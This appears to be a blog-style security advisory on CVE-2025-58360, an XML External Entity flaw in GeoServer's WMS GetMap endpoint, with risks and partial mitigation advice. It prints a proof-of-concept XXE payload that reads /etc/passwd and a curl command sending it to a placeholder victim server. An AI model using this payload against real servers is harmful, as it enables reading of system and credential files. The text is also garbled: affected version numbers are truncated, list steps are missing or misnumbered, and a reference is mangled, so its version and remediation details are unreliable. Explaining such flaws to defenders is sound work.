GeoServer, the popular open-source geospatial server, is often used by organizations to share and visualize spatial data. In early 2025, security researchers discovered a new vulnerability—tracked as CVE-2025-58360—that put many GeoServer deployments at risk. This long read will break down exactly what went wrong, how the exploit works, and how you can stay safe.

What Is GeoServer and Why Is This Important?

GeoServer provides a way for users to share, process, and edit complex geospatial data using standard web services. Its power lies in its flexibility and wide ecosystem support. But when a service like this takes in data from the outside world, security must stay a top priority.

In versions 2.26. up to (but not including) 2.26.2 and all versions before 2.25.6, a critical flaw allowed attackers to abuse XML processing within a core operation endpoint—/geoserver/wms (Web Map Service)—specifically, the GetMap operation.

The Vulnerability: XML External Entity (XXE) Attack

If you’re unfamiliar, XML External Entity (XXE) is a vulnerability that arises when an XML parser does not properly restrict which XML entities (like files or URIs) can be referenced. This allows attackers to *trick* the application into disclosing sensitive files, internal network content, or even executing remote code (in rare cases).

In GeoServer's case, the GetMap endpoint failed to sanitize incoming XML payloads correctly, letting attackers sneak in dangerous external entity definitions.

Here's a breakdown of how an exploit works

1. Attacker crafts a malicious XML request to /geoserver/wms with a specially crafted payload, referencing local files or remote resources.
2. GeoServer parses the XML and processes external entities, unintentionally exposing sensitive file content or other internal information back to the attacker.

Exploit in Action: Proof-of-Concept

Say an attacker wants to read the contents of /etc/passwd (a common first step on Linux). They could send this payload:

<?xml version="1." encoding="UTF-8"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<GetMap>
  <Layer>&xxe;</Layer>
  <!-- other required GetMap parameters -->
</GetMap>

If the server is vulnerable, the response will include the contents of /etc/passwd wherever &xxe; is used.

A simple example using curl might look like

curl -X POST -H "Content-Type: application/xml" \
     --data-binary @malicious-getmap.xml \
     https://victim-geoserver.com/geoserver/wms

In the response, if you see text from /etc/passwd, the server is vulnerable.

Real-World Risks

- Sensitive Data Disclosure: Read server config files, credentials, API keys, logs, or other internal data.

Pivot Points: Use disclosed info to launch deeper attacks on the network.

- Denial of Service: With some XXE variants, attackers can try to crash the service by referencing huge files or recursive entities.

Restrict Network Access: Limit who can send requests to your GeoServer endpoints.

3. Review Logs: Look for abnormal or suspicious requests to /geoserver/wms.

References and Further Reading

- GeoServer Security Advisories
- XXE (XML External Entity) Attacks Explained - OWASP_Processing)
- CVE-2025-58360 at NVD (National Vulnerability Database) *(Link will be live once processed by NIST)*

Conclusion

CVE-2025-58360 is another reminder that XML and web services still need vigilant defenses built in. If you rely on GeoServer, patch today to keep your data and infrastructure safe. For admins and devs: always scrutinize the way user data gets parsed—especially with mature but complex technologies like XML.

Timeline

Published on: 11/25/2025 20:17:35 UTC
Last modified on: 12/12/2025 13:54:01 UTC